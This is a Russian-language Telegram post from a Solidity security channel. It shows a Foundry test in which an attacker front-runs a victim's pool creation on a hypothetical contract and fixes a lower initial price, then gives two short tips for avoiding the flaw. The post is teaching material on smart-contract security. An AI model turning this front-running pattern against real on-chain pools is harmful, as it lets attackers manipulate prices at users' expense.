TGViewer
Из Solidity в AI и дальше Из Solidity в AI и дальше @solidityset · 2.49K subscribers
Post #1455 618
function testFrontRunning() public {
uint256 intendedPrice = 100;
uint256 attackPrice = 50;


// 1. Victim intends to create a pool with initialPrice = intendedPrice
vm.startPrank(victim);
// exploitableContract.getOrCreatePool(victim, intendedPrice); //Simulate that the victim is about to call this.


// 2. Attacker observes this transaction and front-runs it with attackPrice
vm.stopPrank();
vm.startPrank(attacker);
exploitableContract.getOrCreatePool(victim, attackPrice);
vm.stopPrank();


// 3. Victim's transaction now executes
vm.startPrank(victim);
exploitableContract.getOrCreatePool(victim, intendedPrice); // This call should not change the price because the pool already exists


// 4. Assert that the pool's initialPrice is now the attacker's price, NOT the victim's intended price
assertEq(exploitableContract.viewPoolInitialPrice(victim), attackPrice, "The pool's initial price should be the attacker's price.");
vm.stopPrank();
}


Как избежать этой уязвимости?

1. Разделите создание актива и взаимодействие с ним на две отдельные транзакции.

2. Прроверьте параметры целевого ресурса и вернитесь назад, если они неверны.

#frontrun
  • 👍 4
  • ❤ 2
More from @solidityset
  1. Sep 22, 2026Какой язык программирования учить сейчас? На днях в Твиттере увидел небольшой пост о разви…
  2. Sep 18, 2026Интересная модель Jev Буквально пару дней назад в Твиттере многие начали обсуждение новой…
  3. Sep 14, 2026Графы повсюду Если вы также следите за новостями в мире ИИ, то наверняка уже все чаще встр…
  4. Sep 10, 2026GTA6, Cyberleek, блокчейн и безопасность Увидел несколько постов (тут и тут) про Cyberleek…
  5. Sep 9, 2026Работа с чистой энергией Дисклеймер Сегодня ава и название канала, наконец, поменялись. Я…
  6. Sep 9, 2026Channel name was changed to «Из Solidity в AI и дальше»
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →